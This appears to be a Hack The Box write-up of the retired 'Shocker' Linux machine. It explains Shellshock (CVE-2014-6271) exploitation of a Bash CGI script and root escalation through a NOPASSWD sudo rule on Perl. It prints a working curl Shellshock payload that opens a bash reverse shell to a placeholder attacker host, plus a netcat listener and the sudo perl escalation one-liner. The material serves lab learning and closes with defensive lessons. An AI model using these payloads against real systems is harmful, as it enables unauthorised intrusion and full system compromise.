root@thehacksparrow:~/writeups$ SYSTEM ONLINE
root@sparrow:~/writeups$ cat shocker.md
// writeups

Shocker

30 Sep 2017 · 9 min read
Shocker - maquina de Hack The Box

Executive summary — Shocker is the textbook Easy Linux box about Shellshock: an Apache 2.4.18 with a Bash CGI script (/cgi-bin/user.sh, physically at /usr/lib/cgi-bin) lets us inject commands through the User-Agent header (CVE-2014-6271) for RCE as shelly. Escalation is direct: sudo allows running Perl as root without a password. A CGI/Shellshock → shelly → sudo perl → root path.

PlatformHack The Box
Operating systemUbuntu Linux
DifficultyEasy
StatusRetired
Target IP10.129.3.102

Attack map

[80] Apache 2.4.18 (Ubuntu) + CGI
   │  gobuster -x sh,cgi,txt → /cgi-bin/ → /cgi-bin/user.sh (Bash script)
   │  CVE-2014-6271 (Shellshock) via User-Agent header → RCE
   ▼
[SHELL]  shelly  (/usr/lib/cgi-bin) → user.txt
   │  sudo -l → (root) NOPASSWD: /usr/bin/perl
   ▼
[ROOT]  sudo perl -e 'exec "/bin/bash"'  → root.txt

1. Reconnaissance

We start with a standard service scan: basic NSE scripts (-sC) plus version detection (-sV) against the target.

nmap -sC -sV 10.129.3.102
80/tcp   open  http    Apache 2.4.18 (Ubuntu)
2222/tcp open  ssh     OpenSSH 7.2p2 Ubuntu

Port 80 (Apache): the interesting one. Apache can run CGI scripts, and Shellshock specifically affects Bash — if those CGI scripts invoke Bash, the box is a direct candidate for the vulnerability. The homepage shows no title or relevant content, suggesting the real functionality lives on paths not linked from the index.

Port 2222 (SSH), why we don't attack it first: it's on a non-standard port but gives us nothing without credentials — there's no obvious vulnerability in OpenSSH 7.2p2. On Easy boxes, SSH is usually the later access point once credentials or a key are obtained, not the initial vector.

2. Web enumeration → /cgi-bin/

The fact that Apache's homepage shows no visible functionality doesn't mean none exists: many critical paths aren't linked from the index but are still reachable if the URL is known. We enumerate directories including script extensions (.sh, .cgi, .txt), since a directory-only scan would miss exactly the executable files that matter:

gobuster dir -u http://10.129.3.102 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -x sh,cgi,txt
FlagFunction
dirDirectory/file brute-force mode
-uTarget URL
-wWordlist used to try directory and file names
-x sh,cgi,txtExtra extensions to test: .sh (Bash scripts), .cgi (CGI scripts), .txt (text files)
/cgi-bin/

Why /cgi-bin/ changes everything: on Apache, this path is tied to CGI (Common Gateway Interface), a mechanism by which the server runs server-side scripts to generate dynamic content. In legacy setups those scripts are often written in Bash or invoke it internally. The flow is: (1) the client sends an HTTP request; (2) Apache detects it maps to a CGI script and runs it; (3) HTTP headers (User-Agent, Referer, etc.) get turned into environment variables; (4) the CGI script can read those variables; (5) if the script uses Bash, Bash interprets them. That's exactly where Shellshock (CVE-2014-6271) comes in: an attacker can inject code into a header and achieve remote code execution. The chain of reasoning — Apache exposed → /cgi-bin/ found → CGI usually runs Bash → Shellshock affects Bash in that context → try exploitation — isn't an arbitrary guess, it's a correlation between the detected technology stack and a vulnerability historically tied to it. Poking at the directory confirms the target script: /cgi-bin/user.sh.

3. Exploitation — Shellshock (CVE-2014-6271)

What Shellshock is: a flaw in how Bash parses environment variables containing crafted function definitions — anything after the closing of the function (() { :; };) gets interpreted and executed as an extra command. Since CGI puts HTTP headers straight into environment variables, all it takes is injecting the payload into the User-Agent when requesting the vulnerable script. First we set up a listener for the reverse shell:

nc -lvnp 4444

Then fire the payload at /cgi-bin/user.sh:

curl -H "User-Agent: () { :; }; /bin/bash -c 'bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1'" \
  http://10.129.3.102/cgi-bin/user.sh

The listener catches the reverse connection:

listening on [any] 4444 ...
connect to [<ATTACKER_IP>] from (UNKNOWN) [10.129.3.102] 46104
bash: no job control in this shell
shelly@Shocker:/usr/lib/cgi-bin$

The shell lands exactly in /usr/lib/cgi-bin — the physical path where user.sh lives behind Apache's /cgi-bin/ alias. It confirms the RCE came from the CGI script, exactly as the previous phase's reasoning predicted.

This shell isn't interactive or fully usable (bash: no job control in this shell), so we stabilise it by spawning a pseudo-terminal with Python3:

python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm

pty.spawn creates a TTY that lets us run interactive commands properly (tab completion, Ctrl+C, editors…); export TERM=xterm avoids display issues and improves terminal compatibility. The session is now fully functional.

whoami
shelly

4. User flag

We confirm the execution context and locate the user's directory:

ls /home
shelly
cd /home/shelly
cat user.txt
1e837f6633454a33c29b48f42a475e11

5. Enumeration for privilege escalation

We check what shelly can run with elevated privileges via sudo:

sudo -l
Matching Defaults entries for shelly on Shocker:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User shelly may run the following commands on Shocker:
    (root) NOPASSWD: /usr/bin/perl

Translation: shelly can run /usr/bin/perl as root without a password (NOPASSWD). Perl can execute arbitrary code via -e, so this is a direct path to root: any binary allowed via sudo that can run code or spawn a subprocess is, in practice, a root shell in disguise (a pattern catalogued on GTFOBins).

6. Escalating to root

sudo /usr/bin/perl -e 'exec "/bin/bash";'
root@Shocker:/home/shelly#

How it works: sudo runs Perl as root; perl -e executes inline Perl code; exec "/bin/bash" replaces the running Perl process with a Bash without spawning a new one. Since the Perl process was running as root, the Bash that replaces it inherits exactly those privileges.

whoami
root

7. Root flag

cd /root
cat root.txt
efdefc844ef8c9ebf71933a479230e6c

System fully compromised. 🏴‍☠️

Vulnerability summary

PhaseComponentVulnerabilityImpact
EnumerationApache 2.4.18CGI exposed at /cgi-bin/ with no restrictionReveals attack surface (Shellshock)
Foothold/cgi-bin/user.sh (Bash)CVE-2014-6271 (Shellshock) via User-Agent headerRCE as shelly
PrivEscsudo + /usr/bin/perlNOPASSWD on an interpreter that runs arbitrary codeRoot

Lessons learned

  • Apache + /cgi-bin/ + Bash = think Shellshock. Always enumerate with script extensions (.sh, .cgi), not just directories.
  • HTTP headers are user input: in CGI they literally turn into environment variables that a Bash script can interpret as code.
  • Patch Bash: Shellshock (2014) has had a patch for over a decade; it still shows up on unmaintained legacy systems.
  • Beware sudo over interpreters (perl, python, ruby…): with NOPASSWD they're, in practice, a root shell in disguise (see GTFOBins).
  • Correlate technology with known CVEs: the Apache→CGI→Bash→Shellshock path isn't guessed, it's deduced from the stack detected during enumeration.